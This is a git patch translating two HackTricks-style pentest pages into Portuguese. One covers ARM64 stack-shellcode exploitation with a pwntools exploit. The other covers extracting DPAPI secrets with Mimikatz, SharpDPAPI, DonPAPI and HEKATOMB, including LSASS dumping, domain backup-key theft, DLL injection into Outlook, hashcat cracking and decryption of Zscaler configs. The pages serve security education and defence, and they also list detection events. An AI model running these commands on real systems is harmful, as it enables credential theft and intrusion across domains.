From c401544cbf337e3288e4371aa197a27f8239af1b Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 5 Sep 2025 19:00:55 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/dp --- .../stack-shellcode/stack-shellcode-arm64.md | 30 +++- .../dpapi-extracting-passwords.md | 137 +++++++++--------- 2 files changed, 91 insertions(+), 76 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md index 7d515feb5..2ca376bd5 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md @@ -4,12 +4,13 @@ Encontre uma introdução ao arm64 em: - {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## Linux + +### Código ```c #include #include @@ -24,17 +25,17 @@ vulnerable_function(); return 0; } ``` -Compile sem pie, canário e nx: +Compilar sem pie, canary e nx: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` -## Sem ASLR e Sem canário - Stack Overflow +### Sem ASLR e sem canary - Stack Overflow -Para parar o ASLR, execute: +Para desativar o ASLR, execute: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` -Para obter o [**offset do bof verifique este link**](../ret2win/ret2win-arm64.md#finding-the-offset). +Para obter o [**offset do bof, veja este link**](../ret2win/ret2win-arm64.md#finding-the-offset). Exploit: ```python @@ -67,8 +68,21 @@ p.send(payload) # Drop to an interactive session p.interactive() ``` -A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco). +A única coisa "complicada" para encontrar aqui seria o endereço na stack a ser chamado. No meu caso eu gerei o exploit com o endereço encontrado usando gdb, mas depois ao explorá-lo não funcionou (porque o endereço da stack mudou um pouco). + +Abri o arquivo **`core`** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode. + + +## macOS + +> [!TIP] +> Não é possível desabilitar o NX no macOS porque em arm64 esse modo é implementado a nível de hardware, então você não pode desativá-lo, portanto não encontrará exemplos com shellcode na stack no macOS. + +Confira um exemplo de ret2win no macOS em: + +{{#ref}} +../ret2win/ret2win-arm64.md +{{#endref}} -Eu abri o arquivo **`core`** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md index 38d8ddc90..85b3c13bb 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md @@ -1,38 +1,38 @@ -# DPAPI - Extraindo Senhas +# DPAPI - Extracting Passwords {{#include ../../banners/hacktricks-training.md}} -## O que é o DPAPI +## O que é DPAPI -The Data Protection API (DPAPI) é utilizada principalmente no sistema operacional Windows para a **encryptação simétrica de chaves privadas assimétricas**, aproveitando segredos do usuário ou do sistema como uma fonte significativa de entropia. Essa abordagem simplifica a encryptação para desenvolvedores, permitindo que eles encryptem dados usando uma chave derivada dos segredos de logon do usuário ou, para encryptação do sistema, dos segredos de autenticação do domínio, eliminando a necessidade de os desenvolvedores gerenciarem a proteção da chave de encryptação por conta própria. +A Data Protection API (DPAPI) é usada principalmente no sistema operativo Windows para a **criptografia simétrica de chaves privadas assimétricas**, aproveitando segredos do usuário ou do sistema como uma fonte significativa de entropia. Essa abordagem simplifica a criptografia para desenvolvedores, permitindo que encriptem dados usando uma chave derivada dos segredos de logon do usuário ou, para encriptação do sistema, dos segredos de autenticação de domínio do sistema, eliminando assim a necessidade de os desenvolvedores protegerem a chave de encriptação por conta própria. -A maneira mais comum de usar o DPAPI é através das funções **`CryptProtectData` e `CryptUnprotectData`**, que permitem que aplicações encryptem e decryptem dados de forma segura com a sessão do processo que está atualmente logado. Isso significa que os dados encryptados só podem ser decrypted pelo mesmo usuário ou sistema que os encrypted. +A forma mais comum de usar o DPAPI é através das funções **`CryptProtectData` and `CryptUnprotectData`**, que permitem que aplicações encriptem e desencriptem dados de forma segura com a sessão do processo que está atualmente autenticada. Isso significa que os dados encriptados só podem ser desencriptados pelo mesmo usuário ou sistema que os encriptou. -Além disso, essas funções aceitam também um **`entropy` parameter** que será usado durante a encryptação e decryptação; portanto, para decryptar algo encryptado usando esse parâmetro, você deve fornecer o mesmo valor de entropy que foi usado durante a encryptação. +Além disso, essas funções também aceitam um parâmetro **`entropy`** que será usado durante a encriptação e desencriptação; portanto, para desencriptar algo encriptado usando esse parâmetro, você deve fornecer o mesmo valor de entropy que foi usado durante a encriptação. ### Geração da chave do usuário -O DPAPI gera uma chave única (chamada **`pre-key`**) para cada usuário com base em suas credenciais. Essa chave é derivada da senha do usuário e de outros fatores e o algoritmo depende do tipo de usuário, mas acaba sendo um SHA1. Por exemplo, para usuários de domínio, **depende do NTLM hash do usuário**. +O DPAPI gera uma chave única (chamada **`pre-key`**) para cada usuário com base nas suas credenciais. Essa chave é derivada da senha do usuário e outros fatores, e o algoritmo depende do tipo de usuário, mas acaba sendo um SHA1. Por exemplo, para usuários de domínio, **depende do hash NTLM do usuário**. -Isso é especialmente interessante porque, se um atacante conseguir obter o hash da senha do usuário, ele pode: +Isto é especialmente interessante porque, se um atacante conseguir obter o hash da senha do usuário, ele pode: -- **Decryptar qualquer dado que foi encryptado usando DPAPI** com a chave desse usuário sem precisar contatar qualquer API -- Tentar **crackear a senha** offline tentando gerar a chave DPAPI válida +- **Decrypt any data that was encrypted using DPAPI** com a chave desse usuário sem precisar contactar qualquer API +- Tentar **crack the password** offline tentando gerar a chave DPAPI válida -Além disso, toda vez que alguns dados são encryptados por um usuário usando DPAPI, uma nova **master key** é gerada. Essa master key é a que realmente é usada para encryptar os dados. Cada master key é identificada por um **GUID** (Globally Unique Identifier). +Além disso, cada vez que algum dado é encriptado por um usuário usando o DPAPI, uma nova **chave mestra** é gerada. Essa chave mestra é a que é efetivamente usada para encriptar os dados. Cada chave mestra é identificada por um **GUID (Identificador Globalmente Único)**. -As master keys são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\\`**, onde `{SID}` é o Security Identifier desse usuário. A master key é armazenada encryptada pela **`pre-key`** do usuário e também por uma **domain backup key** para recuperação (então a mesma chave é armazenada encryptada 2 vezes por 2 caminhos diferentes). +As chaves mestras são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\\`**, onde `{SID}` é o Security Identifier desse usuário. A chave mestra é armazenada encriptada pela **`pre-key`** do usuário e também por uma **domain backup key** para recuperação (assim, a mesma chave é armazenada encriptada duas vezes por dois caminhos diferentes). -Note que a **domain key usada para encryptar a master key está nos domain controllers e nunca muda**, então se um atacante tem acesso ao domain controller, ele pode recuperar a domain backup key e decryptar as master keys de todos os usuários do domínio. +Note que a **domain key usada para encriptar a chave mestra está nos domain controllers e nunca muda**, então se um atacante tiver acesso ao domain controller, ele pode recuperar a domain backup key e desencriptar as chaves mestras de todos os usuários do domínio. -Os blobs encryptados contém o **GUID da master key** que foi usada para encryptar os dados dentro dos seus headers. +Os blobs encriptados contêm o **GUID da chave mestra** que foi usado para encriptar os dados dentro dos seus cabeçalhos. > [!TIP] -> DPAPI encrypted blobs começam com **`01 00 00 00`** +> Blobs encriptados do DPAPI começam com **`01 00 00 00`** -Encontrar master keys: +Encontrar chaves mestras: ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect @@ -45,37 +45,37 @@ This is what a bunch of Master Keys of a user will looks like: ![](<../../images/image (1121).png>) -### Geração da chave Machine/System +### Geração da chave da máquina/sistema -Esta é a chave usada pela máquina para criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que somente o usuário SYSTEM pode acessar. Esta chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos de todo o sistema. +Esta é a chave usada pela máquina para criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que somente o usuário SYSTEM pode acessar. Essa chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos de todo o sistema. -Observe que essas chaves **não têm um domain backup** e, portanto, são acessíveis apenas localmente: +Observe que essas chaves **não têm um backup de domínio**, portanto são acessíveis apenas localmente: -- **Mimikatz** pode acessá-la extraindo os LSA secrets usando o comando: `mimikatz lsadump::secrets` -- O segredo é armazenado no registro, então um administrador poderia **modificar as permissões DACL para acessá-lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` +- **Mimikatz** pode acessá‑la despejando LSA secrets usando o comando: `mimikatz lsadump::secrets` +- O secret é armazenado dentro do registro, então um administrador poderia **modificar as permissões DACL para acessá‑lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` ### Dados protegidos pelo DPAPI Entre os dados pessoais protegidos pelo DPAPI estão: -- Credenciais do Windows -- Senhas do Internet Explorer e do Google Chrome e dados de auto-completação -- Senhas de contas de e-mail e de FTP interno para aplicações como Outlook e Windows Mail +- Windows creds +- Senhas e dados de auto‑completação do Internet Explorer e Google Chrome +- Senhas de e‑mail e contas FTP internas para aplicações como Outlook e Windows Mail - Senhas para pastas compartilhadas, recursos, redes wireless e Windows Vault, incluindo chaves de criptografia - Senhas para conexões de remote desktop, .NET Passport e chaves privadas para vários fins de criptografia e autenticação -- Senhas de rede gerenciadas pelo Credential Manager e dados pessoais em aplicações que usam CryptProtectData, como Skype, MSN messenger, e mais +- Senhas de rede gerenciadas por Credential Manager e dados pessoais em aplicações que usam CryptProtectData, como Skype, MSN messenger e mais - Blobs criptografados dentro do registro - ... Dados protegidos pelo sistema incluem: -- Senhas de Wi-Fi +- Senhas de Wifi - Senhas de tarefas agendadas - ... -### Master key extraction options +### Opções de extração da Master key -- Se o usuário tiver privilégios de domain admin, ele pode acessar a **domain backup key** para descriptografar todas as master keys de usuário no domínio: +- Se o usuário tiver privilégios de domain admin, ele pode acessar a **chave de backup do domínio** para descriptografar todas as master keys dos usuários no domínio: ```bash # Mimikatz lsadump::backupkeys /system: /export @@ -83,7 +83,7 @@ lsadump::backupkeys /system: /export # SharpDPAPI SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] ``` -- Com privilégios de administrador local, é possível **acessar a memória do LSASS** para extrair as DPAPI master keys de todos os usuários conectados e a SYSTEM key. +- Com privilégios de administrador local, é possível **acessar a memória do LSASS** para extrair as chaves mestras do DPAPI de todos os usuários conectados e a chave SYSTEM. ```bash # Mimikatz mimikatz sekurlsa::dpapi @@ -93,7 +93,7 @@ mimikatz sekurlsa::dpapi # Mimikatz lsadump::secrets /system:DPAPI_SYSTEM /export ``` -- Se a senha ou o hash NTLM do usuário for conhecido, você pode **descriptografar as master keys do usuário diretamente**: +- Se a senha ou o hash NTLM do usuário forem conhecidos, você pode **descriptografar diretamente as chaves mestras do usuário**: ```bash # Mimikatz dpapi::masterkey /in: /sid: /password: /protected @@ -101,7 +101,7 @@ dpapi::masterkey /in: /sid: /password:\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 @@ -175,7 +175,7 @@ pbData : b8f619[...snip...]b493fe ``` - **Acessar masterkeys**: -Descriptografar um masterkey de um usuário que solicita a **domain backup key** usando RPC: +Descriptografar um masterkey de um usuário que solicitou a **domain backup key** usando RPC: ```bash # Mimikatz dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc @@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" # SharpDPAPI SharpDPAPI.exe masterkeys /rpc ``` -A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografia da masterkey (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada de domínio DPAPI...): +A ferramenta **SharpDPAPI** também suporta estes argumentos para masterkey decryption (observe como é possível usar `/rpc` para obter a domains backup key, `/password` para usar uma plaintext password, ou `/pvk` para especificar um DPAPI domain private key file...): ``` /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys @@ -195,7 +195,7 @@ A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografi /server:SERVER - triage a remote server, assuming admin access /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) ``` -- **Descriptografar dados usando uma masterkey**: +- **Descriptografar dados usando uma chave mestra**: ```bash # Mimikatz dpapi::cred /in:C:\path\to\encrypted\file /masterkey: @@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey: # SharpDPAPI SharpDPAPI.exe /target: /ntlm: ``` -A ferramenta **SharpDPAPI** também suporta esses argumentos para descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto claro, `/pvk` para especificar um arquivo de chave privada de domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...): +A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto claro, `/pvk` para especificar um arquivo de chave privada de domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...): ``` Decryption: /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands @@ -222,7 +222,7 @@ Targeting: Note: must use with /pvk:KEY or /password:X Note: not applicable to 'blob' or 'ps' commands ``` -- Descriptografar alguns dados usando **sessão do usuário atual**: +- Descriptografar alguns dados usando a **sessão do usuário atual**: ```bash # Mimikatz dpapi::blob /in:C:\path\to\encrypted\file /unprotect @@ -233,9 +233,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect --- ### Tratando Entropia Opcional ("Entropia de terceiros") -Algumas aplicações passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor o blob não pode ser descriptografado, mesmo que a **masterkey** correta seja conhecida. Obter a entropia é, portanto, essencial ao visar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN). +Algumas aplicações passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor o blob não pode ser descriptografado, mesmo que o masterkey correto seja conhecido. Obter a entropia é portanto essencial ao visar credenciais protegidas desta forma (por exemplo Microsoft Outlook, alguns clientes VPN). -[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional fornecida. Executar EntropyCapture no modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` irá gerar um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode depois ser fornecida ao **SharpDPAPI** (`/entropy:`) ou ao **Mimikatz** (`/entropy:`) para descriptografar os dados. +[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo usuário que injeta hooks nas funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar EntropyCapture em **DLL-injection** mode contra processos como `outlook.exe` ou `vpnclient.exe` irá gerar um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode depois ser fornecida ao **SharpDPAPI** (`/entropy:`) ou ao **Mimikatz** (`/entropy:`) para descriptografar os dados. ```powershell # Inject EntropyCapture into the current user's Outlook InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll @@ -243,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll # Later decrypt a credential blob that required entropy SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm: ``` -### Quebrando masterkeys offline (Hashcat & DPAPISnoop) +### Cracking masterkeys offline (Hashcat & DPAPISnoop) -A Microsoft introduziu um formato de masterkey **context 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) adicionou os hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) e **22102** (context 3), permitindo cracking acelerado por GPU de senhas de usuário diretamente do arquivo masterkey. Portanto, atacantes podem realizar ataques word-list ou brute-force sem interagir com o sistema alvo. +Microsoft introduziu um formato de masterkey **context 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (dezembro de 2023) adicionou hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) e **22102** (context 3), permitindo cracking acelerado por GPU de senhas de usuário diretamente do arquivo masterkey. Portanto, atacantes podem realizar ataques por word-list ou brute-force sem interagir com o sistema alvo. `DPAPISnoop` (2024) automatiza o processo: ```bash @@ -253,11 +253,12 @@ A Microsoft introduziu um formato de masterkey **context 3** a partir do Windows DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\ --mode hashcat --outfile bob.hc hashcat -m 22102 bob.hc wordlist.txt -O -w4 ``` -A ferramenta também pode analisar blobs de Credential e Vault, decifrá-los com chaves quebradas e exportar senhas em texto claro. +A ferramenta também pode analisar blobs do Credential e do Vault, decriptá-los com chaves crackeadas e exportar senhas em texto claro. + ### Acessar dados de outra máquina -Em **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa conseguir acessar essa máquina e, no exemplo a seguir, supõe-se que a **chave de criptografia de backup do domínio é conhecida**: +No **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa conseguir acessar essa máquina e, no exemplo a seguir, supõe-se que a **chave de encriptação de backup do domínio é conhecida**: ```bash SharpDPAPI.exe triage /server:HOST /pvk:BASE64 SharpChrome cookies /server:HOST /pvk:BASE64 @@ -266,7 +267,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64 ### HEKATOMB -[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automatiza a extração de todos os usuários e computadores do diretório LDAP e a extração da chave de backup do domain controller via RPC. O script então resolverá o endereço IP de todos os computadores e executará um smbclient em todos os computadores para recuperar todos os blobs DPAPI de todos os usuários e descriptografar tudo com a chave de backup do domínio. +[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automa a extração de todos os usuários e computadores do diretório LDAP e a extração da domain controller backup key via RPC. O script então resolve todos os endereços IP dos computadores e executa smbclient em todas as máquinas para recuperar todos os DPAPI blobs de todos os usuários e descriptografar tudo com a domain backup key. `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` @@ -274,40 +275,40 @@ Com a lista de computadores extraída do LDAP você pode encontrar todas as sub- ### DonPAPI 2.x (2024-05) -[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode extrair segredos protegidos por DPAPI automaticamente. O lançamento 2.x introduziu: +[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode despejar segredos protegidos por DPAPI automaticamente. A versão 2.x introduziu: -* Coleta paralela de blobs a partir de centenas de hosts -* Parsing de **context 3** masterkeys e integração automática com cracking via Hashcat -* Suporte para cookies criptografados do Chrome "App-Bound" (veja a próxima seção) -* Um novo modo **`--snapshot`** para sondar repetidamente endpoints e comparar blobs recém-criados +* Coleta paralela de blobs de centenas de hosts +* Parser de masterkeys de **context 3** e integração automática com Hashcat para cracking +* Suporte para cookies criptografados "App-Bound" do Chrome (ver próxima seção) +* Um novo modo **`--snapshot`** para sondar repetidamente endpoints e diferenciar blobs recém-criados ### DPAPISnoop -[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos masterkey/credential/vault que pode gerar formatos para Hashcat/JtR e opcionalmente invocar o cracking automaticamente. Suporta completamente os formatos de masterkey de máquina e usuário até o Windows 11 24H1. +[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos masterkey/credential/vault que pode gerar formatos Hashcat/JtR e opcionalmente invocar o cracking automaticamente. Suporta totalmente formatos de masterkey de máquina e usuário até o Windows 11 24H1. ## Detecções comuns - Acesso a arquivos em `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` e outros diretórios relacionados ao DPAPI. - Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**. -- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou extrair masterkeys. -- Evento **4662**: *Uma operação foi realizada em um objeto* – pode ser correlacionado com acesso ao objeto **`BCKUPKEY`**. -- Eventos **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager) +- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória LSASS ou despejar masterkeys. +- Evento **4662**: *Uma operação foi executada em um objeto* – pode ser correlacionado com acesso ao objeto **`BCKUPKEY`**. +- Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager) --- -### Vulnerabilidades e mudanças no ecossistema 2023-2025 +### 2023-2025 vulnerabilidades & mudanças no ecossistema -* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia dos masterkeys de usuários. Corrigido no cumulative update de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente atualizados. -* **Chrome 127 “App-Bound” cookie encryption** (julho de 2024) substituiu a proteção legada somente por DPAPI por uma chave adicional armazenada no **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto o masterkey DPAPI quanto a **GCM-wrapped app-bound key**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra quando executados com contexto de usuário. +* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (novembro de 2023). Um atacante com acesso à rede poderia enganar um membro de domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de masterkeys de usuário. Corrigido na atualização cumulativa de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente atualizados. +* **Chrome 127 “App-Bound” cookie encryption** (julho de 2024) substituiu a proteção legada apenas por DPAPI por uma chave adicional armazenada no **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto o masterkey DPAPI quanto a **GCM-wrapped app-bound key**. SharpChrome v2.3 e DonPAPI 2.x conseguem recuperar a chave extra quando executados no contexto do usuário. -### Estudo de caso: Zscaler Client Connector – Entropia personalizada derivada do SID +### Estudo de caso: Zscaler Client Connector – Entropia customizada derivada do SID -Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (Machine scope)**, mas o fornecedor fornece **entropia personalizada** que é *calculada em tempo de execução* em vez de ser armazenada em disco. +Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (Machine scope)**, mas o fornecedor fornece **custom entropy** que é *calculada em tempo de execução* em vez de ser armazenada no disco. A entropia é reconstruída a partir de dois elementos: -1. Um segredo hard-coded embutido em `ZSACredentialProvider.dll`. +1. Um segredo embutido (hard-coded) dentro de `ZSACredentialProvider.dll`. 2. O **SID** da conta Windows à qual a configuração pertence. O algoritmo implementado pela DLL é equivalente a: @@ -325,17 +326,17 @@ byte[] entropy = new byte[tmp.Length / 2]; for (int i = 0; i < entropy.Length; i++) entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]); ``` -Porque o segredo está embutido em uma DLL que pode ser lida do disco, **qualquer atacante local com direitos SYSTEM pode regenerar a entropia para qualquer SID** e descriptografar os blobs offline: +Porque o segredo está embutido em uma DLL que pode ser lida a partir do disco, **qualquer atacante local com privilégios SYSTEM pode regenerar a entropy para qualquer SID** e decrypt os blobs offline: ```csharp byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\++config.dat"); byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine); Console.WriteLine(Encoding.UTF8.GetString(clear)); ``` -A decriptação revela a configuração JSON completa, incluindo cada **verificação de postura do dispositivo** e seu valor esperado — informação muito valiosa ao tentar bypasses do lado do cliente. +A descriptografia revela a configuração JSON completa, incluindo cada **device posture check** e seu valor esperado – informação muito valiosa ao tentar client-side bypasses. -> DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) são protegidos com DPAPI **sem** entropia (`16` zero bytes). Eles podem, portanto, ser decifrados diretamente com `ProtectedData.Unprotect` assim que privilégios SYSTEM forem obtidos. +> DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) são protegidos com DPAPI **sem** entropia (`16` zero bytes). Eles podem, portanto, ser descriptografados diretamente com `ProtectedData.Unprotect` assim que privilégios SYSTEM forem obtidos. -## References +## Referências - [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)